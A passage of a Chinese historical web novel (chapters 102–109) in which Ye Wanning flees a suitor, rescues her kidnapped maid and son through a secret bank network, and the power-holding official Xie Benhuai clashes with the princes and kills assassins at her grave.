云芝关了门,又气不过,去厨房提了一桶泔水,打开门时看到赵川还在,放了狠话,“赵公子你也是有功名的人,真要弄得我们过不下去了,我就和你鱼死网破,看看你还能不能继续科举为官!这桶泔水我就放门后,你要是再敢敲门,一定泼你身上!” “诶,云芝姑娘,你别那么激动,我真的没干什么呀。你……”没等赵川说完,云芝已经关了门。 想到泔水桶的味道,赵川摇摇头,怎么就不知道他的真心呢? 云芝回去和主子气鼓鼓地骂人,“他就像个狗皮膏药,怎么也丢不掉。真是烦死人了,说什么读书人,其实就是个好色之徒!” 叶婉宁已经在收拾家当了,“忍一忍吧,我们收拾好了就搬家,不等了。” “您之前不是说,立马搬走,显得心虚吗?”云芝道。 “心虚就心虚,这会儿咱们还可以说是因为赵川骚扰,再过一些时间,可就说不过去了。算咱们倒霉,遇到了这种事。”叶婉宁叹了口气。 其实也该预料到的,天下虽然很大,但来来去去的权贵还是那些人,总是会遇到一些麻烦事。 她不能用自己的名字,自己的身份,就注定要躲躲藏藏。 贵重的东西都带着,剩下的书那些,就卖了,免得路上奔波太重了。 至于这处宅院,先空着吧,过个几年,风声过去后,再来卖了。 全家上下都在忙,只有叶承乐还不懂眼下的情况,到了晚上,说想吃糖醋鱼,小家伙蹭着叶婉宁撒娇。 只是这次,叶婉宁没再顺着叶承乐,叶承乐就有小脾气了,睡觉前还背对着叶婉宁,看得叶婉宁好笑。 过了两日,云芝找到镖局的人,付了钱之后,他们便准备搬家了。 离开那日,叶婉宁趁着天还没亮,早早地上了马车,出发去城门口等着。 城门一开,他们立刻出城。 这时候得先到一个地方,再准备换地方,每次搬家,叶婉宁都是这样,为了不给人留下线索。 只是出城没多久,不知为何,被赵川知道了,他竟然骑马追了上来。 “叶家娘子,你等等,求你给我个机会,让我和你说两句真心话好吗?”赵川差点摔下马,满头是汗。 叶婉宁微微皱眉,还是下了马车,“赵公子,有道是君子有所为,有所不为。既然我已经明确表达态度,你就应该知难而退,而不是苦苦纠缠。” “为什么呢?我想知道你为什么就看不上我呢?”赵川很是执拗,非要这么个答案。 叶婉宁深吸一口气,知道今天不说狠一点是走不了了,“因为我亡夫在我心里,万里挑一,谁也比不上他的风光霁月。他是天底下最好的男人,我此生此世都只会属于他。你连给他提鞋都不配,更别说是得到我的正眼相待。赵川,人贵在有自知之明,或许你在这小小的县城里是受人追捧的举人老爷,但你要知道,你也只是这里的井底之蛙,比不上我亡夫的一根汗毛。” 为了让赵川死心,叶婉宁只能捏造出一个亡夫。 但她不知道,日后京城再见到赵川时,赵川还清清楚楚地记住她和她今天说的话。等赵川质问她亡夫是谁,那是真叫一个尴尬。 此时的赵川却是傻愣住,“我就那么不堪吗?” “是的,你纠缠我的样子,确实难看。”叶婉宁转身道,“还请你有点风度,山高海阔,从此往后别再派人跟着我了。” 赵川就这么看着叶婉宁离开了,他是派人跟着叶婉宁,才知道叶婉宁要离开。 可是现在,叶婉宁说他不堪,说他比不上他亡夫的万分之一? 赵川像是丢了魂魄一般,她怎么就看不上他呢? 而叶婉宁让镖局留下人,特意看着赵川,不能让赵川跟着。 她以为这次就是永别,谁也想不到,还会有京城再见的时候。 经过五天的赶路,叶婉宁到了一处新的城镇,给镖局的人结了钱后,立马趁着白天赶路到了下一个地方。 叶承乐连着赶路,小孩儿缠着云芝和春喜带着他出去逛逛,叶婉宁想着已经走了那么远,就让云芝注意一点。 结果到了傍晚,云芝和叶承乐都没回来。 第102章 撞梁 云芝和叶承乐出去一个时辰了,叶婉宁和春喜姐弟把附近都找了,还是没找到人。 “怎么会这样?”叶婉宁已经让客栈的人也帮着找了。 店小二建议,“夫人还是报官吧,城里的拐子多,指不定是被拐子带走了。您家那哥儿粉嫩粉嫩的,肯定是被人带走了。” 这时候又有人说,“报官有什么用?县太爷还不是和那些拐子一起的,他们拿了好处,到时候不论对错,先把报官的人打二十板子。就夫人你这小身板,能顶什么事?” 别说二十板子,就是五个板子,叶婉宁也吃不消。 可到了这个时候,不报官,还能找谁帮忙? 要不是着急搬家,哪里会出这种事? 叶婉宁捏着手里的玉佩,真的要走到这一步吗? 春喜在一旁急哭了,“夫人,咱们咱们还是报官吧,二十板子我领了。不然咱们没有其他人可以帮啊?” 叶婉宁深吸一口气,事已至此,她再藏着掖着不可能了,“春喜,你和我去钱庄一趟。” 当年隆玉公主给她玉佩的时候,就说了,只要有办不了的事,就去云丰钱庄。 到了这会,乐哥儿和云芝的安危最重要,叶婉宁只能拿着玉佩去了云丰钱庄。 她急忙忙到了钱庄,找到掌柜的拿出玉佩,掌柜的只是看了一眼,就问她是遇到了什么难事。 “那人说得没错,本地的县太爷是个为富不仁的贪官,若是您去报官,只会赔了夫人又折兵。”掌柜的早就收到过消息,只要见到玉佩,不要问对方是谁,只要听对方的话,什么事都要帮忙达成,“您别着急,还好时间不久,人肯定在城里,我这就派人去找城里的人牙子。” 他们在城里开钱庄,于黑白两道都有来往,人牙子绑人无非是为了钱财,他们多给一点钱就是。 掌柜的让叶婉宁先冷静点,“您放心,这里的人牙子,还不敢和我们闹翻脸。” 叶婉宁问,“到底是谁在给他们当靠山,这样的事是寻常,如何让百姓安居乐业。” “此事复杂得很,本地的县太爷和惠郡王有所来往,夫人应该知道,惠郡王这些年并不安分。惠郡王到底是皇上的儿子,附近的官员都要给他三分薄面,就算真有这事,大家也会压下来。”掌柜的叹了口气,“想要成大事,就必须要钱。这三年来,咱们这一带的百姓,确实苦不堪言。” “他真是太过分了!”叶婉宁想到了以前在京城的日子,惠郡王也是嚣张得很,才会养出昭云那样刁蛮的女儿。 她现在只盼着云芝和乐哥儿没事,不然她一定不会放过那些人牙子。 “掌柜的,我问你,如果你们对上那些人牙子,可有胜算?”叶婉宁沉着脸问。 掌柜的眼珠转了转,“如果舌下这处钱庄,拿出全力,拿下他们不在话下。只是……”思考片刻,掌柜的想到主子的吩咐,“不过您想要做什么,我们都会全力配合,您不必考虑后果。” 硬碰硬,他们能赢,但钱庄也就暴露了。想在别人的地界安插眼线,可不是一件容易的事。 叶婉宁深吸一口气,“这事算我对不住你们了,希望不要闹到鱼死网破的那一步。” 与此同时,人牙子那得知绑了云丰钱庄的人,他们狮子大开口,一个人要五百两银子。 李二毛看着云丰钱庄的人,笑容挑衅,“你们都是干钱庄的了,一千两银子,肯定随便有吧?” 钱庄的伙计说可以,救人要紧,一千两就一千两。 结果李二毛看对方答应爽快,坐地起价,“我改主意了,要两千两。” “李二毛,这两千两我可以给你,不过你要想清楚,到底还要不要加价。你有人护着,但真的要和我们作对吗?大家讲究一个和气生财,以后还是要在一个地界讨口饭吃,我现在还是好言好语,也是看在你们背后势力的面子上。咱们啊,别闹太难看了。” 能在这种地方开那么久钱庄的,肯定有两把刷子,李二毛想了想,“就要两千,一手交钱,一手交货!” “行,这是银票,请你把人带出来吧。”钱庄的伙计把银票递了过去。 李二毛数了数,让人去找人,结果过了会,他派去的人慌张跑回来,说那女的撞梁了! “干什么吃的,怎么会这样?”李二毛可不想到手的银票没了,听小厮在耳边小声说了几句,一巴掌打了过去,“谁让你们动人的?再管不住裤裆那玩意,老子帮你们割了!” “大哥,没动成呢,她烈得很!我们真没动成,就是看她有点姿色。” 李二毛瞪了他一眼,亲自去看了看,好在人没断气,他就不可能退钱,让钱庄的伙计就这么带回去,“人到我这里就这样,你爱要不要。” 这时候救人最重要,伙计不敢耽搁,抬着人上了马车,先回去再说,要算账,也得先请大夫为这姑娘看看再说。 第103章 山雨欲来风满楼 等叶婉宁看到云芝额头上的伤,当即握紧了拳头。 “他……他们说是有人想占云芝姑娘便宜,云芝姑娘不肯从,才有了这么个结果。”伙计不敢去看叶婉宁,“大夫已经看过了,人没有大碍,就是以后要留疤,影响容貌。” 叶婉宁不敢想云芝受到什么样的欺辱,竟然有人如此胆大,还不是单一事件,“我能杀了他们吗?” “只要夫人下令,我们一定做到。”掌柜的答。 叶婉宁点了点头,“那我要他们的人头。” 留下这句话,叶婉宁让其他人都出去,她自己照顾云芝。 睡梦中的云芝眉头紧皱,像是受到了巨大的惊吓,连睡觉都不能安心。 叶婉宁一直守着云芝,直到天黑了,云芝突然惊醒,看到叶婉宁的第一反应是害怕,“别碰我!” “是我,云芝你看清楚,是我啊,”叶婉宁抱住云芝,“你别害怕,我把你救回来了,没事了。以后都不会有事了,他们不能再欺负你。” 云芝愣住许久,意识到不是做梦后,才放声哭了出来,“呜呜……我……” 她难受到说不出话来,哭了许久,直到干呕,才想到乐哥儿好不好。 “他没事,你放心,他没有事。云芝你别怕,我们现在不会有事了。”叶婉宁抱着云芝,心都要碎了。 云芝靠在主子的肩膀上默默落泪,她那会拼命挣扎,却没有任何用。在悬殊的实力面前,云芝根本不是两个男人的对手。 她对主子满心抱歉,可是没有办法,她只能了结自己。 云芝做梦都想不到,还能再见到主子。 “呜呜,是我不好,没有照顾好乐哥儿。”云芝小声抽泣,“我都以为,再也看不到您了。” 睁眼的那一瞬间,云芝以为是做梦,直到主子抱住了她。 叶婉宁也流下眼泪,“别怕,不会有事了。你放心吧。” 在叶婉宁一遍又一遍地安抚下,云芝才慢慢地停下抽泣。 “可是夫人,您怎么让他们放了我的?”云芝问。 叶婉宁这才说了玉佩的事,“情况紧急,我也顾不上那么多了,明天我们就走。掌柜的会派人护送我们,离开这个地方,到一个新地方去。你别自责,也别想太多,这不怪你,是这里的县太爷不做人,和那些人牙子狼狈为奸。” 安抚了云芝许久,等云芝再睡下后,叶婉宁才去看乐哥儿。 其实乐哥儿也受到惊吓,好在人牙子为了卖个好价钱,并没有对乐哥儿下重手,只是三个人看着乐哥儿。 看着熟睡中的儿子,叶婉宁有种山雨欲来风满楼的感觉。 春喜端来热粥,“夫人,您好歹吃点东西,云芝姐姐已经醒过来,您若是倒下,咱们就没主心骨了。” 叶婉宁点点头,虽然嘴里没有味道,却还是吃完这一碗热粥。 与此同时,李二毛突然想到一个事,他的人只绑外地来的陌生面孔,这样麻烦会少一点。 但这次绑的人,怎么会和云丰钱庄有关系,他把动手的两个人喊了过来,“是不是你们想着随便糊弄,没看清楚就把人绑来了?” “不是啊大哥,我们都观察了许久,他们这几个人住进客栈后,就没去找任何人。这样的陌生面孔,一看就是外地来的,我们怎么可能弄错?” “那就奇了怪了,你说一个寡妇,怎么能让云丰钱庄出面?”李二毛觉得哪里奇怪,想了想还是想不明白,干脆不想了,反正得了两千两银子,云丰钱庄又不敢拿他怎么样。 给两个小弟一人五两银子,李二毛带着他们出门,“走,大哥今天请你们喝花酒去。” 第104章 全死了 李二毛这些人都是花楼的常客,老鸨看到他们,立马笑呵呵地请人进去,“二爷好久没来了,您不来,我都想派姑娘去找您了。” “就你会做生意,今儿有没有雏?”李二毛猥琐地笑了笑。 老鸨立马懂李二毛的意思,有些为难,“有是有,就是还没调教好,恐怕伤了二爷。” “越是烈的雏儿,爷越喜欢!”李二毛丢给老鸨一块银锭,老鸨瞬间笑容满面,亲自带着李二毛去房间。 跟着李二毛一起来的人,则是被带到其他房间。 “二爷您稍坐一会儿,奴家真让人送些酒菜来,马上给您准备姑娘。”老鸨关了门,马上吩咐了下去,今儿李二毛出手阔绰,一看就是挣了钱,她得好好伺候着。叫来龟公,“去把昨儿买来的姑娘送到二爷房里,记得绑好手脚,免得伤了二爷。” 像李二毛这种人,老鸨可得罪不起,李二毛背后有人呢。 龟公笑着说是,带着两个伙计去扛姑娘,把人给抬到李二毛房间。 李二毛喝了两杯酒,啧了一声,“你们把人绑得和死猪一样,让爷怎么玩?” “可是二爷……” “把人松开,老子还怕一个女人不曾?”李二毛看了眼对方的脸蛋,“姿色不错嘛,你家老妈妈从哪里弄来的姑娘?” 龟公陪着笑脸,“从庄子里买的,他爹是个秀才,听说还会认字呢。奈何秀才爹是个不靠谱的,爱喝酒,欠了一屁股的债,只能卖了她。二爷,这姑娘性子非常烈,您小心一点。” “去去去,别啰嗦了,不就是一个姑娘么,能把老子怎么样?”李二毛把人推了出去,转身时姑娘跪在床上求饶,让他放了她,“放了你?进了万花楼的人,就算你回去,也没人敢要你。还不如伺候好爷,爷说不定多给你一点赏钱。” 说着,李二毛如饿虎扑羊冲过去,不曾想这姑娘确实烈,用力咬住他的耳朵。 听李二毛一声惨叫,外边的龟公推门进去,被李二毛凶了一句,“给老子滚出去,老子不是说了,老子对付得了!” 要是连个雏儿都收拾不了,这要是传出去,李二毛以后怎么道上混? 对着姑娘打了两耳光,“老子的耳朵都敢咬,你真是自讨苦吃!” 说着,他一把撕开姑娘的衣服,不过姑娘的反抗,亲了过去。 只是还没亲到姑娘,突然有一把剑,穿透他的后背。 低头看着血顺剑流下,李二毛才感受到钻心的剧痛,“是……是谁?” 来的人蒙着脸,不给李二毛喊人的机会,拔出剑又捅了李二毛的心口,让李二毛一命呜呼。 床上的姑娘已经吓傻了,若不是蒙面人拉着她跑,人都反应不过来,只是她第一次看到死人,两腿吓得发抖,还是被人背着出去。 另外两间屋子是同样的结果,等老鸨和龟公发现不对劲,已经是第二天早上的事。 因为李二毛办事不喜欢被打扰,老鸨以为姑娘晕过去,屋里才没反应。一直到次日清晨,屋里还是没有动静,一个龟公才壮着胆子推开门缝,结果看到床上红了的被褥,还有地上的尸体,吓得当场叫出来。 李二毛和他的两个手下都死了,不仅他们死了,李二毛养的那些拐子,一夜之间全被杀害。 等县太爷带着人赶到时,都被惊到了,被拐来的人也跑了,只剩下瘆人惨死的尸首。 第105章 想当皇帝? “谁那么大的胆子?”赵书镜对着院子里怒吼,他到这里任职两年,眼看着三年一任就要满,现在出了这么大的事,他要如何遮掩? 同行的捕快都不敢说话,死了十几个人,这种命案,放整个知州近十年都没有过。 “查,给我好好查,一定要查个清清楚楚!”赵书镜破口大骂。 这时师爷来提醒,“可是大人,就算查个明白,您的地界出了这种事,怕是升迁也没了希望。不如……您一边查,一边让人去问问郡王爷的意思,先把事情给按下来。” “是我糊涂了,你说得对,还有郡王爷在,我不是一个人。”赵书镜看着院子里的尸首,让人去搜院子后,却发现李二毛的账本和钱财都不见了,预测是入室抢劫。 可抢劫为什么要抢账本? 而且城里人都知道,李二毛是他护着的人,怎么敢动李二毛? 赵书镜觉得哪里都透露着奇怪,可他一时半会又没有头绪。 此时的赵书镜还不知道,李二毛的账本和弹劾他的折子已经在去往京城的路上。 至于叶婉宁一行人,已经在云丰钱庄的护送下,到了下一个地方。 五天过后,京城收到的账本,先到了谢泊淮手中,他先看到。 “大人,折子上写,这些年惠郡王在当地收刮民脂民膏,还有异心,坐实了我们查到的那些消息。”司砚跟着谢泊淮,从小厮升了六品的言官,全靠谢泊淮的关系。他刚有了官职,诸多人都不服气,但也无可奈何。 “既然有了证据,就把惠郡王一党给连根拔起。”谢泊淮面上没有任何表情。 这么些年,这几个王爷明争暗斗,没少给谢泊淮惹麻烦。 “可是大人,毕竟是郡王,这个事需不需要知会皇上?”司砚问。 谢泊淮看了眼折子,皇上病得只剩最后一口气,若是再听说这种事,指不定就这么过去了。 他说不用。 谢泊淮拿着御玺,叫来笔录写圣旨。 朝臣们说他掌权把控朝政,确实没有说错,他确实如此,京城里,他谢泊淮一个人说了算。 废惠郡王的旨意一下,满京城哗然,谁都没想到,谢泊淮会突然把矛头指向惠郡王。 成王年轻气盛,拦住出宫的谢泊淮,“我四哥已经沉寂多年,你为何不肯放过他?” “沉寂?王爷你是眼睛不够好,还是手不够长?”谢泊淮冷着脸,“这么些年,惠郡王在当地收刮银子超过三十万两。为了银子,纵容手下的人开黑矿,拐卖妇女儿童,你要不要去当地看看,你这个四哥到底做了什么?” 成王是有收到一些消息说惠郡王不老实,但他并不知道那么细节的事,“就算如此,他也是父皇的儿子。这难道真的是父皇的旨意?” “王爷若是不信,大可以进宫去问。你不敢去,那就别在我面前嚣张。”谢泊淮看着成王,“再有下次……” 他没往后面说,但成王感受到脖子一亮,等谢泊淮走后,才发觉后背出了汗。 看着近在咫尺的宫墙,成王看了又看,最后带着人,去往敬王的府上。 成王可不信贤王会真心与他合作,贤王那个心思,与这种人同行,迟早要被算计死。 但他六哥不一样,那就是个蠢货。 蠢货有蠢货的用处,只是成王才到敬王府,就看到他五哥出来。 四目相对,贤王先开了口,“听说七弟去找了谢泊淮,你现在是来找六弟,怂恿他去对付谢泊淮吗?我劝你算了,你没这个本事的。” 当然了,敬王就更没这个能力。 贤王的意思很明显,听得成王更不爽,“我找六哥什么事,不用你来操心,你还是多想想,四哥没了后,我们几个谁是下一个死的。” “这个就不劳烦你操心了,我还是那句话,咱们才是亲兄弟,我们不团结,谢泊淮就会逐一击破。你也不想李家的江山,改姓谢吧?”贤王说完就走了。 成王看着贤王远去的背影,还是进了敬王府。 此时的谢家,谢仲渊问出所有人都想知道的一个问题,“谢泊淮,你到底想干嘛,你是自己想当皇帝吗?” 第106章 祭奠 三年来,谢仲渊到谢泊淮这里的次数屈指可数,放眼全天下,也就只有谢泊淮顶着忤逆不孝的名头做官活着。 “与你何干?”谢泊淮冷冷的一句,半分面子都不给谢仲渊。 他们已经分家,谢泊淮甚至放话,以后他和谢家再没关系,谢家如何,都别来找他。 “什么叫与我何干?”谢仲渊以前想把控着谢泊淮,让谢泊淮为谢家所用。后来发现谢泊淮能力太强,不是他能控制的,就想借别人的手,削弱谢泊淮。 结果三年前谢泊淮像个疯子一样,什么都不管了,不怕死一样地到处得罪人。 就算是断绝关系,那谢泊淮也是他谢仲渊生的,如果谢泊淮真的谋权篡位,他谢仲渊这辈子都是佞臣的父亲,连带着要被史书唾弃。 他汲汲营营一辈子,不想临到了,还要被谢泊淮拖累。 “谢仲渊,你那么怕被人骂,当初干嘛不掐死我?”谢泊淮冷哼,“谢夫人那么厉害,怎么到了我这里,非要留我一命?既然你们没杀了我,那就是你们的报应。你那么怕我谋权篡位,我偏不和你说,你就猜去吧,我要你夜夜难眠,后悔生了我这个儿子。” 谢仲渊早就后悔了,“逆子,你真是逆子!你不为谢家想,你就不怕被后世辱骂吗?就算你能成功上位,你以为你能坐稳皇位?” 名不正言不顺的皇位,注定会让天下大乱,如今朝中,就没几个人支持谢泊淮,无非是皇上吊着一口气,众人碍于皇上还在,不想背负气死皇上的罪名,才对谢泊淮一忍再忍。 “谁有本事,谁就来抢这个皇位。”谢泊淮一副无所谓的态度,“你放心,我死的那天,一定会拉上整个谢府垫背,谁也别想逃过一劫。” “你!”谢仲渊是真要气死了,打又打不过,比权谋更赢不了,“你等着吧,别人不能拿你怎么办,不是还有叶家么。你那么在意叶婉宁,每个月都偷偷去祭奠,别以为……” 没等谢仲渊说完,谢泊淮已经拔剑飞跃而起,对着谢仲渊的眼睛,“看来你想早点死。” 谢仲渊吓得两条腿发抖,当老子当到他这个样子,实在是憋屈,但他又拿捏不了谢泊淮,天天呕出一肚子气。 “你这个尚书不用当了,回家歇着吧。”谢泊淮让人送客。 “谢泊淮,你不可能一直一手遮天的!”谢仲渊听谢泊淮云淡风轻地撤了他的官职,一路破口大骂,“你算个什么东西,老子可是天子重臣,你凭什么让老子回家歇着?” 谢泊淮还真可以,第二天贬斥谢仲渊的圣旨就送到了谢家,这些年谢家活在谢泊淮的压制下,日子并不容易。让人提防他们,又或者因为谢泊淮而讨厌他们,哪里都讨不到好。 谢仲渊接到旨意就气病了,但他一定要看谢泊淮被人从高处拽下来,不然死不瞑目。 而谢泊淮丝毫不在意外边人怎么说他,名声是什么? 都不重要。 他在叶婉宁忌日这天,连夜到了叶家祖坟,这会叶家人还没到,不然碰到了,又是一番争吵。 “大人,天快亮了。”青山小声提醒。 天边微亮,又是个好天气,但谢泊淮的肩头落了几片枯叶,背影落寞。 第107章 “好” 天要亮了,叶家人就要到了,青山不想看主子和叶家人对上。 他没动过情根,不懂主子为何如此执着,但司砚说了,主子做什么,他们都跟着就是,反正他们这条命都是主子给的,早死晚死都是死,没必要计较一个长短。 当年叶姑娘的尸首被找回来,主子还在追查废太子的事,直到叶姑娘下葬,才知道有这回事。 那日开棺,青山也是看到的,叶姑娘尸首面目全非,根本看不出原本的样貌。尸体经过河水浸泡,有着难闻的味道,只有主子,一直看着不肯走。 “大人,我们该走了。”青山再次提醒。 谢泊淮这才转身往外走,只是他才准备上马,四周立马涌现出一批刺客。 “谢泊淮,你把控朝政,意图谋反,罪该万死!”刺客说了一句,纷纷冲向谢泊淮。 来的一共有四五十人,就算谢泊淮和青山功夫再好,很快就落了下风。 但谢泊淮并没有后退,看着被撞毁的祭品,他眼里只剩下一群尸体,“你们真是找死!” 谢泊淮挥剑如闪电,利落地解决了三个人后,和青山背对背迎敌。 “大人,您先走!”青山道。 “走什么走,是他们来找死!”谢泊淮说完又冲了过去,直取方才说话的刺客,三两招下来,谢泊淮就割破对方喉咙。 一群乌合之众。 谢泊淮察觉到对方毫无阵法,并不像是训练有素的刺客,逐一击破,很快就杀了一半。 当然,他的身上也有大大小小的伤口。 “谁怂恿你们来的?别做了别人的棋子,还以为是正义!”谢泊淮扫视着剩下的人,“就凭你们几个,还想要我的性命,你们都是来送死的!” 刺客们看着倒下一半的同伴,有些人身负重任,他们看谢泊淮的眼神都充满了恐惧。 这还是人吗? 世人都说谢泊淮喜怒无常,是个疯子,现在看来,还真是这样。因为谢泊淮根本不怕死,反而还笑了出来。 “没人说话?”谢泊淮的薄唇微微上扬,“那就全部去死吧!” 他主动发起进宫,叫人措手不及。 也就在这时,叶家提前出门的小厮们到了,刺客看到来了人,这才想到撤退。 谢泊淮和青山一人抓到一个活口,谢泊淮的剑对准了其中一个的眼睛,“说,谁派你们来的?” “我……我不知道。” 话音刚落,谢泊淮就刺了下去,一声惨叫响彻云霄,另一人都吓尿了。 “我……我说,是敬王派我们来的。” “哦,是这样吗?”谢泊淮提着这人上了马,看着满地狼籍,对上叶家管家的眼睛时,这才有了些歉意,“青山,你留下收拾。” 管家哪里敢让谢泊淮的人留下,就算心里太多吐槽,也不敢麻烦谢泊淮的人,“不用不用,我们自己来就行。谢大人,您也瞧见了,那么多人盯着您,您还是放过我……我们吧。” 刚说完,管家就觉得头顶发凉,这可是一人之下的谢泊淮,谁都不敢得罪他。 过了许久,谢泊淮把目光从叶婉宁的墓碑上收回来,苍凉的嗓子吐出一句,“好。” 第108章 藏不住了 地上的尸首无法遮掩,等叶明岳等人到了后,看着沾上血点的墓碑,叶明岳的眼神阴沉得要吃人。 “二哥哥,这……哎。”叶婉玉想说点什么,但想到对方是谢泊淮,又无话可说。 叶宁德这些年升到了从四品,在京城里算是有点名头了,可这样的官职在面对谢泊淮时,也是无能为力,他把叶明岳叫到一旁,“你去找谢泊淮一趟吧,他最近更加不怕死,但我们身后都有一堆人。在这样下去,叶家也要完了。” 有人能找到这里刺杀谢泊淮,自然还会有其他人再来。 叶明岳握紧拳头,看了眼妹妹的墓碑,骑马往京城去。 而此时的谢泊淮,已经到了敬王府,“把这个人丢给你们王爷,让他好好想想,他还想不想活了?” 门房看到是谢泊淮,已经两腿发抖,“谢……谢大人,是不是有什么误会?” “如果是误会,那你们得动动脑筋,为什么会是误会了?”谢泊淮转身要走,却被敬王喊住。 “谢泊淮,你是不是太目中无人了?不管你再多权势,我也是王爷,你见到我永远都要行礼!”敬王怒气冲冲地走向谢泊淮,若不是被边上的随从拉住,他很可能冲到谢泊淮跟前动手。 “见过殿下。”谢泊淮虚虚行礼,摊手示意,这样可以了吧? 敬王却是更气了,“好好好,你看不上我是吧,我要去见父皇,让他来治你!” “殿下,你确定要去吗?”谢泊淮似笑非笑地看着敬王,“现如今,惠郡王被废,废太子也死了,就剩下你们这些王爷了。谁来挑唆的你,是谁想借刀杀人,你不想想吗?” 平常的事,敬王一下子想不到,但谢泊淮说得够直白了,他突然后脊发凉。 敬王是讨厌谢泊淮,但他还没傻到家,是谁想借刀杀人呢? 敬王心里有答案的,他握紧拳头,瞪着谢泊淮。 “既然想到了,还是先想想你自己的事吧。别当了别人的棋子,最后又得罪了所有人。我不怕死,但你不怕吗?”谢泊淮说得直接,他看了敬王一眼,转身就走了。 青山问不追究了吗? “狗咬狗才好看,敬王是条没脑子的狗,把他放出去,才会让成王他们头疼。”谢泊淮自有主意。 青山这才明白主子的意思,其实他很好奇,正大光明匾后面,到底为了谁的名字。不管是谁。他都觉得对主子不利。他有偷偷问过司砚,但司砚说他还是别知道的好,不然总会被人套了话。 青山觉得也是,他要是知道了,难免被其他人知道。想来主子是知道的,但既然知道,怎么还这样得罪这些王爷? 青山想不明白,干脆不想了,他的脑袋瓜子,是真的不好用。 回去的路上,谢泊淮遇到了端王世子李茂,他骑着马,李茂坐在马车里。 “谢大人,你是从叶家祖坟回来吗?”李茂叫住了谢泊淮。 谢泊淮:“有事?” “我只是想劝你一句,得饶人处且饶人,放过他人,也是放过你自己,何必把五叔他们都得罪透了呢?”李茂一脸真诚,“我知道我多嘴了,但我知道,你并没有篡位的心思。既然如此,给你自己留一条后路吧。” “比如你吗?”谢泊淮打量着李茂,语气很不客气。 李茂顿时红了脸,他没有这个意思,但谢泊淮已经骑马走了。 马车里的嘉和郡主听了愤愤道,“他真是不识好人心,要不是看在婉宁的面子上,我才不让你劝他。走吧哥哥,我们该去看看婉宁了。” 三年来,每一年嘉和郡主都会去祭奠叶婉宁。 人与人之间的缘分很奇妙,明明她们相处的时间并不久,但她就是忘不掉叶婉宁这个人。 等叶明岳找到谢泊淮时,谢泊淮已经在家中喝茶,这处宅院,就是当初他让人买下叶婉宁给许竹苓住的地方。 “谢泊淮,你就不能放过叶家吗?”叶明岳满腔怒火地看着谢泊淮,他想不明白,谢泊淮这种人,怎么会那么执着于婉宁? “好,我不会再去了。” 谢泊淮的回答,让叶明岳瞬间愣住,他一肚子骂人的话,这会却不用说了。 “你说好?”叶明岳确认道。 谢泊淮说是,“这是我今日第三遍回答,是的,我不会再去你们叶家祖坟了。你还有什么要求?” “我……”对上谢泊淮的眼睛,如死水一般沉寂,叶明岳突然感觉心被人抽空了难受,但这又是他要的结果,“我没其他要求,你以后好好过你的日子吧,别这么折腾了。就算你不成亲,院子里还这么多人,难道你想看着他们陪你死?” 听叶明岳絮絮叨叨说了好些,谢泊淮突然笑了,“那你问问,他们有谁怕死?怕死的可以随时离开,我绝对不追究。叶明岳,你难道也信我想谋朝篡位吗?” 这一点,叶明岳真不知道怎么说。 有时候叶明岳觉得谢泊淮是单纯地想报复社会,有时候又想谢泊淮费尽心思,总不能什么都不要吧? 他想不明白。 “你好自为之。”留下这句话,叶明岳转身走了。 而贬斥惠郡王的旨意刚出,没过多久,惠郡王就造反了。朝廷派出陆丰年去镇压叛军,这一出发就是半个月。 打起战后,京城里的权贵人心惶惶,谁都害怕自己会是下一个惠郡王。 而这时,隆玉公主收到了暗桩送来的密信,说叶婉宁用了玉佩,并且暴露在镇府司和惠郡王的人面前,怕是要藏不住了。 第109章 被发现了 自从乌苏战败,新王上位,隆玉公主就低调了很多,搬到了城外的庄园居住。 收到密信后,她长叹道,“没想到,她还是用到了玉佩。” 给出玉佩的时候,隆玉公主只希望叶婉宁永远都用不到,但没想到,叶婉宁还是用了玉佩,看来是遇到了解决不了的事。麻烦的事,事情发生的地方是惠郡王的地界,眼下惠郡王造反,真是让人头疼起来。 江嬷嬷同样担忧,“老奴还以为能过个几年,没想到那么快。若是被镇府司查到,咱们是不是要做点准备?” “能做什么准备?难不成谢泊淮要为了这个事杀了本宫吗?”隆玉公主最近没管外头任何事,从皇上病了后,也没进宫了,“本宫已经给了他退让,他还要因此记恨本宫,那也随他。本宫只是担心婉宁,乱世将至,她一个弱女子。如何在这混乱中求生?” “是啊,特别是还带了个孩子。”江嬷嬷叹了口气,“谢大人这些年行事太狠,指不定什么时候就被报复,在他身边更不安全。” 不然以谢泊淮现在的权势,是能护着叶婉宁母子。 隆玉公主摇头说不可能的,“婉宁对谢泊淮就没心思,不然当初也不会一走了之,根本不考虑谢泊淮。她不可能现在再去找谢泊淮,而且她也不知道谢泊淮对她有情义,这两个人,除了有个孩子,并没有任何关……咳咳……” 话没说完,隆玉公主开始咳嗽。 这几年,她的身子不太好了,儿子成了乌苏的王,他们又不能相认,但她心里没了牵挂,也就不太注重自己的身子。 江嬷嬷赶忙端来热茶,“您啊,就听老奴一句劝,好好养着身子。指不定什么时候,叶姑娘他们还需要您呢。” “本宫自会替她谋划的,但本宫这幅身子骨想要长命百岁,那是天方夜谭。”隆玉公主抿了口热茶,有宫女来传话说贤王来了,她摇了摇头,“不见。” “殿下,王爷提到了云丰钱庄,说您会见他的。”宫女又提了一嘴。 云丰钱庄是隆玉公主在各地的暗桩,她可以不参与朝政,但得有眼线,不然成了瞎子,只能等着被人宰杀。 现在贤王查到了云丰钱庄,对她来说,确实是一件大事。 但隆玉公主还是说了不见,“他以为查到云丰钱庄,就能把本宫怎么样吗?他要的皇位,可不见得是他的!让他走吧,本宫倒要看看,他能怎么对付本宫!” 宫女走后,江嬷嬷眉头紧锁,“殿下,咱们是不是要撤了云丰钱庄?” “不着急,如果全部撤走,显得我们心虚。”隆玉公主深吸一口气,“交代下去,让他们处理干净点,就算被查到,也别被人抓到把柄。贤王这个人心思太多,而且阴沉沉的。和他打交道,我更愿意和老六来往,至少那是个蠢笨的,我能一眼看出他的心思。” 至于皇位,隆玉公主并不觉得她那位父皇有多看重贤王。 等贤王走后没多久,成王也来了,不过他没提云丰钱庄的事,但隆玉公主同样没见。 看他们着急拉拢人的样子,隆玉公主知道,很快就要乱起来了,“你派人去找下婉宁,让人看着他们,这个时候,他们不再适合自个儿待着了。” 江嬷嬷道了一声是,“老奴会多派点高手,确保叶姑娘他们的安全。” 等江嬷嬷派出去的人找到叶婉宁一行人时,已经是十天后的事了,这时候的陆丰年已经在攻城了。 叶婉宁住的地方离战场只有两百里地,他们现在都不敢出门,外边太多逃窜的人。 好在叶婉宁有先见之明,囤了米粮在家中,至少够吃半年。 只是看到隆玉公主派来的暗卫,叶婉宁知道情况不容乐观,一颗心沉了下去。 